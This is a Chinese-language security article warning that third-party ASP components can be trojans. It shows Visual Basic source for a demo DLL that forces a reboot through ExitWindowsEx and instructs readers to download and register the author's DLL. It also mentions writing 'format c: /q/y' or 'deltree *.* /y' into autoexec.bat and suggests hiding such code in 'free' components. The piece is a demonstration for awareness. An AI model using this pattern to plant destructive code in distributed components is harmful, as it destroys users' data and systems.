安全|問題 Microsoft推出的ASP(Active Server Page)以簡單、易用、功能多、可擴充性等強大功能得到了網友和大多數網管的喜愛,大有完全代替CGI的趨勢。但是我要對你說,如果使用ASP的話,你網路的安全同時也大大降低了! 在我繼續說下去之前,請你完成以下步驟:
1.下載這個檔案“http://home.gbsource.net/xuankong/dll.zip”,解壓縮後把其中的test.dll檔案拷貝到“c:\windows\system”(如果你是使用NT的話,請拷貝到相應目錄);
2.接下來開啟“開始/運行”菜單輸入“regsvr32 test.dll”命令;
3.拷貝解壓縮後的檔案包中的那個index.asp到你的伺服器目錄(如果你是使用PWS‘Personal Web Server’調試可以拷貝到“c:\Inetpub\wwwroot”,NT請拷貝到相應的目錄);
4.換一台機器用IE瀏覽index.asp檔案看一看(你看到的是出錯代碼,但是實際上程式已經運行了),你再返回你的機器看一看c:\下是否多了一個檔案?!一個名為“xuankong.dat”的檔案(其實如果我願意,你的c:\autoexec.bat檔案也可以被我開啟並寫入一些什麼“format c: /q/y”或者“deltree *.* /y”的命令,等你下次重新啟動機器。嘿嘿……)。
我們一起來看看到底是怎麼一回事,你剛才拷貝的那些DLL檔案其實是我使用Visul Basic 5.0開發的一個組件:
1.開啟VB5.0建立一個“ActiveX dll”檔案,把下面的代碼錄入進去。
Private Declare Function ExitWindowsEx Lib ″user32″ _
(ByVal uFlags As Long, ByVal dwReserved As Long) _
As Long Sub xuankong()′請不要加上″private″
a$ = InputBox(″請輸入你的姓名,如果你的輸入是″xuankong″″ + Chr(13) + Chr(10) + ″則會在你的系統中產生一個″xuankong.dat″檔案″ + Chr(10) + Chr(13) + ″否則的話你的機器可能重啟″, ″請輸入″, ″xuankong″)
If a$ = ″xuankong″ Then Open ″c:\xuankong.dat″ For Append As #1 Write #1, ″我的朋友,這是一個ASP組件的測試程式″ Write #1, ″hello world!This is a test″ Write #1, ″如果你看到這個檔案表示測試成功!!!″ Else ExitWindowsEx &H43, 0′使用API函數重新啟動機器 End If Close #1 End Sub
2.把工程名改為dll,類別模組改為test,然後把這個工程產生DLL檔案到c:\windows\system目錄下面。
3.建立一個index.asp檔案把下面的代碼錄入進去。
<% set rs=server.createobject(″dll.test″)%>
<% set rs1=rs.xuankong rs1.execute %>
4.拷貝index.asp到你的伺服器內,按照上面所述進行調試! 好了,如果你調試完成,有什麼感覺???如果是使用VC++ 、Visual Java開發(它們開發出來的組件功能可更加強大);如果把上面的VB代碼改一下,加入到一些FTP組件、E-mail組件、HTTP組件、聊天室組件、計數器組件中……(凡是可以輸入/輸出的組件,沒法輸入/輸出的組件的破壞力有一定局限),再給這些組件加上一個好聽的名字“免費的……”你不上當嗎(嘿嘿!說不定你已經上當了,天下免費的東西可是好東西!!!*^v^*)?
上面所說的是ASP組件的安全問題!另外如果有些作者在寫ASP組件時不小心留下系統bug!那就更加不易被人發覺了!
說明:本文只代表個人觀點。本文所提供的代碼在Windows 98內建的PWS和Visual Basic 5.0下調試通過,如果你在產生ASP組件時出現不能編譯的問題,請關閉你的PWS。你有什麼想法或意見請E-mail: xuankong@swau.edu.cn。